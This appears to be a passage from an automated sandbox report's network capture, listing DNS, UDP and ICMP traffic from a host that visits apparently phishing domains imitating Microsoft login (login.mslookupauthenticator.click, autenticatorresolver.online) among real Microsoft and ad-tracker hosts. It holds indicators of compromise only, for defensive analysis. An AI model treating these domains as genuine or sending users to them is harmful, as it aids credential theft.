Dec 10, 2024 15:11:05.140502930 CET	52752	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:11:05.140650034 CET	49438	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:11:05.234601021 CET	53345	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:11:05.234756947 CET	50480	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:11:05.277213097 CET	53	52752	1.1.1.1	192.168.2.4
Dec 10, 2024 15:11:05.277663946 CET	53	49438	1.1.1.1	192.168.2.4
Dec 10, 2024 15:11:05.299772978 CET	50555	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:11:05.300020933 CET	65290	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:11:05.374618053 CET	53	50480	1.1.1.1	192.168.2.4
Dec 10, 2024 15:11:05.380026102 CET	53	53345	1.1.1.1	192.168.2.4
Dec 10, 2024 15:11:05.436745882 CET	53	65290	1.1.1.1	192.168.2.4
Dec 10, 2024 15:11:05.437237024 CET	53	50555	1.1.1.1	192.168.2.4
Dec 10, 2024 15:11:05.601178885 CET	50806	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:11:05.601422071 CET	52267	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:11:05.738307953 CET	53	50806	1.1.1.1	192.168.2.4
Dec 10, 2024 15:11:05.741780996 CET	53	52267	1.1.1.1	192.168.2.4
Dec 10, 2024 15:11:07.596364021 CET	63939	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:11:07.596818924 CET	54600	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:11:07.733654976 CET	53	54600	1.1.1.1	192.168.2.4
Dec 10, 2024 15:11:07.734178066 CET	53	63939	1.1.1.1	192.168.2.4
Dec 10, 2024 15:11:08.196856976 CET	137	137	192.168.2.4	192.168.2.255
Dec 10, 2024 15:11:08.960743904 CET	137	137	192.168.2.4	192.168.2.255
Dec 10, 2024 15:11:09.713326931 CET	137	137	192.168.2.4	192.168.2.255
Dec 10, 2024 15:11:27.252527952 CET	53	58762	1.1.1.1	192.168.2.4
Dec 10, 2024 15:11:41.503989935 CET	52728	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:11:41.644145966 CET	53	52728	1.1.1.1	192.168.2.4
Dec 10, 2024 15:11:54.156877041 CET	51158	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:11:54.157119036 CET	50799	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:12:05.130033970 CET	52070	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:12:05.130251884 CET	62115	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:12:05.268300056 CET	53	62115	1.1.1.1	192.168.2.4
Dec 10, 2024 15:12:05.332192898 CET	53	52070	1.1.1.1	192.168.2.4
Dec 10, 2024 15:12:05.811321974 CET	50693	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:12:05.950037956 CET	53	50693	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 10, 2024 15:09:09.413795948 CET	192.168.2.4	1.1.1.1	c25f	(Port unreachable)	Destination Unreachable
Dec 10, 2024 15:09:54.616714001 CET	192.168.2.4	1.1.1.1	c284	(Port unreachable)	Destination Unreachable
Dec 10, 2024 15:10:05.443886042 CET	192.168.2.4	1.1.1.1	c2b4	(Port unreachable)	Destination Unreachable
Dec 10, 2024 15:10:35.971244097 CET	192.168.2.4	1.1.1.1	c28a	(Port unreachable)	Destination Unreachable
Dec 10, 2024 15:10:38.024166107 CET	192.168.2.4	1.1.1.1	c233	(Port unreachable)	Destination Unreachable
Dec 10, 2024 15:10:44.164877892 CET	192.168.2.4	1.1.1.1	c252	(Port unreachable)	Destination Unreachable
Dec 10, 2024 15:10:46.932718992 CET	192.168.2.4	1.1.1.1	c24a	(Port unreachable)	Destination Unreachable
Dec 10, 2024 15:10:53.079144001 CET	192.168.2.4	1.1.1.1	c25e	(Port unreachable)	Destination Unreachable
Dec 10, 2024 15:10:55.697096109 CET	192.168.2.4	1.1.1.1	c2d2	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 10, 2024 15:09:09.112714052 CET	192.168.2.4	1.1.1.1	0xb99b	Standard query (0)	ajax.aspnetcdn.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:09:09.112925053 CET	192.168.2.4	1.1.1.1	0xe008	Standard query (0)	ajax.aspnetcdn.com	65	IN (0x0001)	false
Dec 10, 2024 15:09:09.114324093 CET	192.168.2.4	1.1.1.1	0xbf02	Standard query (0)	easycdn.cdn78drop.click	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:09:09.114594936 CET	192.168.2.4	1.1.1.1	0x82b8	Standard query (0)	easycdn.cdn78drop.click	65	IN (0x0001)	false
Dec 10, 2024 15:09:11.580554962 CET	192.168.2.4	1.1.1.1	0xcfe3	Standard query (0)	ajax.aspnetcdn.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:09:11.580707073 CET	192.168.2.4	1.1.1.1	0xdda8	Standard query (0)	ajax.aspnetcdn.com	65	IN (0x0001)	false
Dec 10, 2024 15:09:12.205584049 CET	192.168.2.4	1.1.1.1	0x4122	Standard query (0)	easycdn.cdn78drop.click	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:09:12.205935955 CET	192.168.2.4	1.1.1.1	0xd540	Standard query (0)	easycdn.cdn78drop.click	65	IN (0x0001)	false
Dec 10, 2024 15:09:12.263641119 CET	192.168.2.4	1.1.1.1	0xa1a	Standard query (0)	autenticatorresolver.online	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:09:12.264013052 CET	192.168.2.4	1.1.1.1	0xf456	Standard query (0)	autenticatorresolver.online	65	IN (0x0001)	false
Dec 10, 2024 15:09:12.757460117 CET	192.168.2.4	1.1.1.1	0xd32	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:09:12.757628918 CET	192.168.2.4	1.1.1.1	0xfb37	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 10, 2024 15:09:16.015649080 CET	192.168.2.4	1.1.1.1	0x356	Standard query (0)	cdn.jsdelivr.net	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:09:16.015796900 CET	192.168.2.4	1.1.1.1	0xaa71	Standard query (0)	cdn.jsdelivr.net	65	IN (0x0001)	false
Dec 10, 2024 15:09:20.751421928 CET	192.168.2.4	1.1.1.1	0x6009	Standard query (0)	cdn.jsdelivr.net	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:09:20.751616955 CET	192.168.2.4	1.1.1.1	0x2759	Standard query (0)	cdn.jsdelivr.net	65	IN (0x0001)	false
Dec 10, 2024 15:09:40.985023022 CET	192.168.2.4	1.1.1.1	0x6a9	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:09:40.985176086 CET	192.168.2.4	1.1.1.1	0x8f9c	Standard query (0)	ipinfo.io	65	IN (0x0001)	false
Dec 10, 2024 15:09:41.020934105 CET	192.168.2.4	1.1.1.1	0xc576	Standard query (0)	login.mslookupauthenticator.click	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:09:41.021116972 CET	192.168.2.4	1.1.1.1	0x55d7	Standard query (0)	login.mslookupauthenticator.click	65	IN (0x0001)	false
Dec 10, 2024 15:09:42.806498051 CET	192.168.2.4	1.1.1.1	0x2b8	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:09:42.806730986 CET	192.168.2.4	1.1.1.1	0x9c12	Standard query (0)	ipinfo.io	65	IN (0x0001)	false
Dec 10, 2024 15:09:45.104572058 CET	192.168.2.4	1.1.1.1	0x1239	Standard query (0)	www.mslookupauthenticator.click	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:09:45.104763985 CET	192.168.2.4	1.1.1.1	0x8342	Standard query (0)	www.mslookupauthenticator.click	65	IN (0x0001)	false
Dec 10, 2024 15:09:47.099817038 CET	192.168.2.4	1.1.1.1	0x17a	Standard query (0)	autenticatorresolver.online	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:09:47.099971056 CET	192.168.2.4	1.1.1.1	0x7f14	Standard query (0)	autenticatorresolver.online	65	IN (0x0001)	false
Dec 10, 2024 15:09:49.280178070 CET	192.168.2.4	1.1.1.1	0x1504	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:09:49.280375957 CET	192.168.2.4	1.1.1.1	0xdb8e	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Dec 10, 2024 15:09:51.225815058 CET	192.168.2.4	1.1.1.1	0xa75f	Standard query (0)	login.mslookupauthenticator.click	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:09:51.226011992 CET	192.168.2.4	1.1.1.1	0x8b2a	Standard query (0)	login.mslookupauthenticator.click	65	IN (0x0001)	false
Dec 10, 2024 15:09:52.320787907 CET	192.168.2.4	1.1.1.1	0xe1c0	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:09:52.320975065 CET	192.168.2.4	1.1.1.1	0xb500	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Dec 10, 2024 15:09:54.135363102 CET	192.168.2.4	1.1.1.1	0x50f	Standard query (0)	identity.nel.measure.office.net	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:09:54.135571003 CET	192.168.2.4	1.1.1.1	0x6114	Standard query (0)	identity.nel.measure.office.net	65	IN (0x0001)	false
Dec 10, 2024 15:10:40.795347929 CET	192.168.2.4	1.1.1.1	0x21dc	Standard query (0)	dpm.demdex.net	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:40.795635939 CET	192.168.2.4	1.1.1.1	0xfa35	Standard query (0)	dpm.demdex.net	65	IN (0x0001)	false
Dec 10, 2024 15:10:42.944540024 CET	192.168.2.4	1.1.1.1	0x6492	Standard query (0)	mscom.demdex.net	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:42.944724083 CET	192.168.2.4	1.1.1.1	0x3308	Standard query (0)	mscom.demdex.net	65	IN (0x0001)	false
Dec 10, 2024 15:10:42.945769072 CET	192.168.2.4	1.1.1.1	0xc3b1	Standard query (0)	msftenterprise.sc.omtrdc.net	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:42.946074009 CET	192.168.2.4	1.1.1.1	0x7d21	Standard query (0)	msftenterprise.sc.omtrdc.net	65	IN (0x0001)	false
Dec 10, 2024 15:10:42.952631950 CET	192.168.2.4	1.1.1.1	0x1e6d	Standard query (0)	dpm.demdex.net	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:42.952832937 CET	192.168.2.4	1.1.1.1	0x9717	Standard query (0)	dpm.demdex.net	65	IN (0x0001)	false
Dec 10, 2024 15:10:43.927850962 CET	192.168.2.4	1.1.1.1	0x1455	Standard query (0)	cm.everesttech.net	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:43.928345919 CET	192.168.2.4	1.1.1.1	0xbccc	Standard query (0)	cm.everesttech.net	65	IN (0x0001)	false
Dec 10, 2024 15:10:45.220478058 CET	192.168.2.4	1.1.1.1	0x8119	Standard query (0)	msftenterprise.sc.omtrdc.net	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:45.220478058 CET	192.168.2.4	1.1.1.1	0x2f1e	Standard query (0)	msftenterprise.sc.omtrdc.net	65	IN (0x0001)	false
Dec 10, 2024 15:10:46.285166025 CET	192.168.2.4	1.1.1.1	0x720e	Standard query (0)	ib.adnxs.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:46.285351992 CET	192.168.2.4	1.1.1.1	0xd828	Standard query (0)	ib.adnxs.com	65	IN (0x0001)	false
Dec 10, 2024 15:10:46.399422884 CET	192.168.2.4	1.1.1.1	0x1082	Standard query (0)	idsync.rlcdn.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:46.399804115 CET	192.168.2.4	1.1.1.1	0xe6f5	Standard query (0)	idsync.rlcdn.com	65	IN (0x0001)	false
Dec 10, 2024 15:10:46.508812904 CET	192.168.2.4	1.1.1.1	0x7e69	Standard query (0)	cm.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:46.509134054 CET	192.168.2.4	1.1.1.1	0x6e02	Standard query (0)	cm.g.doubleclick.net	65	IN (0x0001)	false
Dec 10, 2024 15:10:46.619611979 CET	192.168.2.4	1.1.1.1	0xa702	Standard query (0)	rtd.tubemogul.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:46.619805098 CET	192.168.2.4	1.1.1.1	0x277a	Standard query (0)	rtd.tubemogul.com	65	IN (0x0001)	false
Dec 10, 2024 15:10:46.730835915 CET	192.168.2.4	1.1.1.1	0x3f96	Standard query (0)	idpix.media6degrees.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:46.731175900 CET	192.168.2.4	1.1.1.1	0x358e	Standard query (0)	idpix.media6degrees.com	65	IN (0x0001)	false
Dec 10, 2024 15:10:46.833342075 CET	192.168.2.4	1.1.1.1	0xc701	Standard query (0)	analytics.twitter.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:46.833862066 CET	192.168.2.4	1.1.1.1	0x2d48	Standard query (0)	analytics.twitter.com	65	IN (0x0001)	false
Dec 10, 2024 15:10:46.945034981 CET	192.168.2.4	1.1.1.1	0x36ab	Standard query (0)	match.adsrvr.org	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:46.945190907 CET	192.168.2.4	1.1.1.1	0x568b	Standard query (0)	match.adsrvr.org	65	IN (0x0001)	false
Dec 10, 2024 15:10:47.061491013 CET	192.168.2.4	1.1.1.1	0x50e	Standard query (0)	cms.quantserve.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:47.061711073 CET	192.168.2.4	1.1.1.1	0x9c4	Standard query (0)	cms.quantserve.com	65	IN (0x0001)	false
Dec 10, 2024 15:10:48.842735052 CET	192.168.2.4	1.1.1.1	0xcd03	Standard query (0)	rtd-tm.everesttech.net	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:48.843039036 CET	192.168.2.4	1.1.1.1	0xf346	Standard query (0)	rtd-tm.everesttech.net	65	IN (0x0001)	false
Dec 10, 2024 15:10:48.858007908 CET	192.168.2.4	1.1.1.1	0x8a76	Standard query (0)	analytics.twitter.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:48.858412027 CET	192.168.2.4	1.1.1.1	0x6c72	Standard query (0)	analytics.twitter.com	65	IN (0x0001)	false
Dec 10, 2024 15:10:48.972296000 CET	192.168.2.4	1.1.1.1	0xaa5c	Standard query (0)	dpm.demdex.net	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:48.972450018 CET	192.168.2.4	1.1.1.1	0x6262	Standard query (0)	dpm.demdex.net	65	IN (0x0001)	false
Dec 10, 2024 15:10:50.993251085 CET	192.168.2.4	1.1.1.1	0x145f	Standard query (0)	servedby.flashtalking.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:50.993447065 CET	192.168.2.4	1.1.1.1	0xb0cb	Standard query (0)	servedby.flashtalking.com	65	IN (0x0001)	false
Dec 10, 2024 15:10:51.399812937 CET	192.168.2.4	1.1.1.1	0x473d	Standard query (0)	a.tribalfusion.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:51.400091887 CET	192.168.2.4	1.1.1.1	0xbfb6	Standard query (0)	a.tribalfusion.com	65	IN (0x0001)	false
Dec 10, 2024 15:10:52.394606113 CET	192.168.2.4	1.1.1.1	0x9d66	Standard query (0)	cms.analytics.yahoo.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:52.394886017 CET	192.168.2.4	1.1.1.1	0x9eb8	Standard query (0)	cms.analytics.yahoo.com	65	IN (0x0001)	false
Dec 10, 2024 15:10:52.799236059 CET	192.168.2.4	1.1.1.1	0xcd52	Standard query (0)	px.owneriq.net	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:52.799504042 CET	192.168.2.4	1.1.1.1	0xe4a2	Standard query (0)	px.owneriq.net	65	IN (0x0001)	false
Dec 10, 2024 15:10:52.845041990 CET	192.168.2.4	1.1.1.1	0x30ce	Standard query (0)	jadserve.postrelease.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:52.845320940 CET	192.168.2.4	1.1.1.1	0xb8f2	Standard query (0)	jadserve.postrelease.com	65	IN (0x0001)	false
Dec 10, 2024 15:10:52.891601086 CET	192.168.2.4	1.1.1.1	0x7173	Standard query (0)	ds.reson8.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:52.891874075 CET	192.168.2.4	1.1.1.1	0xb4ff	Standard query (0)	ds.reson8.com	65	IN (0x0001)	false
Dec 10, 2024 15:10:52.965934992 CET	192.168.2.4	1.1.1.1	0x447e	Standard query (0)	bttrack.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:52.966089010 CET	192.168.2.4	1.1.1.1	0xd250	Standard query (0)	bttrack.com	65	IN (0x0001)	false
Dec 10, 2024 15:10:53.278630972 CET	192.168.2.4	1.1.1.1	0xdc62	Standard query (0)	s.tribalfusion.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:53.278776884 CET	192.168.2.4	1.1.1.1	0x91b5	Standard query (0)	s.tribalfusion.com	65	IN (0x0001)	false
Dec 10, 2024 15:10:53.904557943 CET	192.168.2.4	1.1.1.1	0x5d1f	Standard query (0)	dmpsync.3lift.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:53.904879093 CET	192.168.2.4	1.1.1.1	0xf16c	Standard query (0)	dmpsync.3lift.com	65	IN (0x0001)	false
Dec 10, 2024 15:10:54.868092060 CET	192.168.2.4	1.1.1.1	0x10b0	Standard query (0)	ups.analytics.yahoo.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:54.868225098 CET	192.168.2.4	1.1.1.1	0xc094	Standard query (0)	ups.analytics.yahoo.com	65	IN (0x0001)	false
Dec 10, 2024 15:10:55.070480108 CET	192.168.2.4	1.1.1.1	0xcf16	Standard query (0)	ag.innovid.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:55.070641994 CET	192.168.2.4	1.1.1.1	0x3f72	Standard query (0)	ag.innovid.com	65	IN (0x0001)	false
Dec 10, 2024 15:10:55.347513914 CET	192.168.2.4	1.1.1.1	0xb091	Standard query (0)	rtb.adentifi.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:55.347722054 CET	192.168.2.4	1.1.1.1	0xef98	Standard query (0)	rtb.adentifi.com	65	IN (0x0001)	false
Dec 10, 2024 15:10:55.350596905 CET	192.168.2.4	1.1.1.1	0x8d1a	Standard query (0)	jadserve.postrelease.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:55.350809097 CET	192.168.2.4	1.1.1.1	0x90c1	Standard query (0)	jadserve.postrelease.com	65	IN (0x0001)	false
Dec 10, 2024 15:10:56.770476103 CET	192.168.2.4	1.1.1.1	0x625a	Standard query (0)	sync.crwdcntrl.net	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:56.770632982 CET	192.168.2.4	1.1.1.1	0x971d	Standard query (0)	sync.crwdcntrl.net	65	IN (0x0001)	false
Dec 10, 2024 15:10:57.009954929 CET	192.168.2.4	1.1.1.1	0x2fe	Standard query (0)	sync-tm.everesttech.net	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:57.010459900 CET	192.168.2.4	1.1.1.1	0xffcf	Standard query (0)	sync-tm.everesttech.net	65	IN (0x0001)	false
Dec 10, 2024 15:10:59.583183050 CET	192.168.2.4	1.1.1.1	0x7f9a	Standard query (0)	rtd-tm.everesttech.net	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:59.583476067 CET	192.168.2.4	1.1.1.1	0x3d63	Standard query (0)	rtd-tm.everesttech.net	65	IN (0x0001)	false
Dec 10, 2024 15:11:01.111742973 CET	192.168.2.4	1.1.1.1	0xac42	Standard query (0)	pixel.rubiconproject.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:01.111892939 CET	192.168.2.4	1.1.1.1	0x1180	Standard query (0)	pixel.rubiconproject.com	65	IN (0x0001)	false
Dec 10, 2024 15:11:01.209394932 CET	192.168.2.4	1.1.1.1	0xd351	Standard query (0)	login.mslookupauthenticator.click	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:01.209570885 CET	192.168.2.4	1.1.1.1	0xb653	Standard query (0)	login.mslookupauthenticator.click	65	IN (0x0001)	false
Dec 10, 2024 15:11:01.376526117 CET	192.168.2.4	1.1.1.1	0x9b5c	Standard query (0)	dsum-sec.casalemedia.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:01.376702070 CET	192.168.2.4	1.1.1.1	0x9801	Standard query (0)	dsum-sec.casalemedia.com	65	IN (0x0001)	false
Dec 10, 2024 15:11:01.652925014 CET	192.168.2.4	1.1.1.1	0x421e	Standard query (0)	us-u.openx.net	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:01.653084993 CET	192.168.2.4	1.1.1.1	0x3cae	Standard query (0)	us-u.openx.net	65	IN (0x0001)	false
Dec 10, 2024 15:11:02.310281038 CET	192.168.2.4	1.1.1.1	0xb698	Standard query (0)	trc.taboola.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:02.310616016 CET	192.168.2.4	1.1.1.1	0x5cea	Standard query (0)	trc.taboola.com	65	IN (0x0001)	false
Dec 10, 2024 15:11:02.477474928 CET	192.168.2.4	1.1.1.1	0x7343	Standard query (0)	cm.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:02.477782965 CET	192.168.2.4	1.1.1.1	0x5747	Standard query (0)	cm.g.doubleclick.net	65	IN (0x0001)	false
Dec 10, 2024 15:11:02.909934044 CET	192.168.2.4	1.1.1.1	0x27ed	Standard query (0)	image2.pubmatic.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:02.910271883 CET	192.168.2.4	1.1.1.1	0x8de6	Standard query (0)	image2.pubmatic.com	65	IN (0x0001)	false
Dec 10, 2024 15:11:03.303814888 CET	192.168.2.4	1.1.1.1	0x177	Standard query (0)	ib.adnxs.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:03.304100037 CET	192.168.2.4	1.1.1.1	0x5c0d	Standard query (0)	ib.adnxs.com	65	IN (0x0001)	false
Dec 10, 2024 15:11:03.712270975 CET	192.168.2.4	1.1.1.1	0x1bf	Standard query (0)	sync.srv.stackadapt.com	65	IN (0x0001)	false
Dec 10, 2024 15:11:03.712270975 CET	192.168.2.4	1.1.1.1	0xad13	Standard query (0)	sync.srv.stackadapt.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:03.722414970 CET	192.168.2.4	1.1.1.1	0xcbf6	Standard query (0)	pixel.rubiconproject.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:03.722414970 CET	192.168.2.4	1.1.1.1	0x2b44	Standard query (0)	pixel.rubiconproject.com	65	IN (0x0001)	false
Dec 10, 2024 15:11:04.086654902 CET	192.168.2.4	1.1.1.1	0x374b	Standard query (0)	sync.search.spotxchange.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:04.086654902 CET	192.168.2.4	1.1.1.1	0xf73e	Standard query (0)	sync.search.spotxchange.com	65	IN (0x0001)	false
Dec 10, 2024 15:11:04.226725101 CET	192.168.2.4	1.1.1.1	0xe6e8	Standard query (0)	sync.search.spotxchange.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:04.252942085 CET	192.168.2.4	1.1.1.1	0xd02e	Standard query (0)	trc.taboola.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:04.253132105 CET	192.168.2.4	1.1.1.1	0x15f4	Standard query (0)	trc.taboola.com	65	IN (0x0001)	false
Dec 10, 2024 15:11:05.140502930 CET	192.168.2.4	1.1.1.1	0xb31e	Standard query (0)	dsum-sec.casalemedia.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:05.140650034 CET	192.168.2.4	1.1.1.1	0xbd86	Standard query (0)	dsum-sec.casalemedia.com	65	IN (0x0001)	false
Dec 10, 2024 15:11:05.234601021 CET	192.168.2.4	1.1.1.1	0x3644	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:05.234756947 CET	192.168.2.4	1.1.1.1	0x4c06	Standard query (0)	www.facebook.com	65	IN (0x0001)	false
Dec 10, 2024 15:11:05.299772978 CET	192.168.2.4	1.1.1.1	0x19bb	Standard query (0)	us-u.openx.net	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:05.300020933 CET	192.168.2.4	1.1.1.1	0x1897	Standard query (0)	us-u.openx.net	65	IN (0x0001)	false
Dec 10, 2024 15:11:05.601178885 CET	192.168.2.4	1.1.1.1	0xa00f	Standard query (0)	image2.pubmatic.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:05.601422071 CET	192.168.2.4	1.1.1.1	0x6794	Standard query (0)	image2.pubmatic.com	65	IN (0x0001)	false
Dec 10, 2024 15:11:07.596364021 CET	192.168.2.4	1.1.1.1	0x5bac	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:07.596818924 CET	192.168.2.4	1.1.1.1	0x470c	Standard query (0)	www.facebook.com	65	IN (0x0001)	false
Dec 10, 2024 15:11:41.503989935 CET	192.168.2.4	1.1.1.1	0x4c4b	Standard query (0)	sync.search.spotxchange.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:54.156877041 CET	192.168.2.4	1.1.1.1	0x91ba	Standard query (0)	identity.nel.measure.office.net	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:54.157119036 CET	192.168.2.4	1.1.1.1	0x3eb5	Standard query (0)	identity.nel.measure.office.net	65	IN (0x0001)	false
Dec 10, 2024 15:12:05.130033970 CET	192.168.2.4	1.1.1.1	0x5089	Standard query (0)	login.mslookupauthenticator.click	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:12:05.130251884 CET	192.168.2.4	1.1.1.1	0x8f25	Standard query (0)	login.mslookupauthenticator.click	65	IN (0x0001)	false
Dec 10, 2024 15:12:05.811321974 CET	192.168.2.4	1.1.1.1	0xc7f1	Standard query (0)	sync.search.spotxchange.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 10, 2024 15:09:09.250006914 CET	1.1.1.1	192.168.2.4	0xb99b	No error (0)	ajax.aspnetcdn.com	mscomajax.vo.msecnd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:09:09.413672924 CET	1.1.1.1	192.168.2.4	0xe008	No error (0)	ajax.aspnetcdn.com	mscomajax.vo.msecnd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:09:09.721792936 CET	1.1.1.1	192.168.2.4	0xbf02	No error (0)	easycdn.cdn78drop.click		13.57.116.250	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:09:11.717569113 CET	1.1.1.1	192.168.2.4	0xcfe3	No error (0)	ajax.aspnetcdn.com	mscomajax.vo.msecnd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:09:11.717972040 CET	1.1.1.1	192.168.2.4	0xdda8	No error (0)	ajax.aspnetcdn.com	mscomajax.vo.msecnd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:09:12.343971014 CET	1.1.1.1	192.168.2.4	0x4122	No error (0)	easycdn.cdn78drop.click		13.57.116.250	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:09:12.681355000 CET	1.1.1.1	192.168.2.4	0xa1a	No error (0)	autenticatorresolver.online		104.21.64.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:09:12.681355000 CET	1.1.1.1	192.168.2.4	0xa1a	No error (0)	autenticatorresolver.online		104.21.80.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:09:12.681355000 CET	1.1.1.1	192.168.2.4	0xa1a	No error (0)	autenticatorresolver.online		104.21.96.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:09:12.681355000 CET	1.1.1.1	192.168.2.4	0xa1a	No error (0)	autenticatorresolver.online		104.21.16.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:09:12.681355000 CET	1.1.1.1	192.168.2.4	0xa1a	No error (0)	autenticatorresolver.online		104.21.32.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:09:12.681355000 CET	1.1.1.1	192.168.2.4	0xa1a	No error (0)	autenticatorresolver.online		104.21.48.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:09:12.681355000 CET	1.1.1.1	192.168.2.4	0xa1a	No error (0)	autenticatorresolver.online		104.21.112.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:09:12.681382895 CET	1.1.1.1	192.168.2.4	0xf456	No error (0)	autenticatorresolver.online			65	IN (0x0001)	false
Dec 10, 2024 15:09:12.894309998 CET	1.1.1.1	192.168.2.4	0xfb37	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 10, 2024 15:09:12.894860029 CET	1.1.1.1	192.168.2.4	0xd32	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
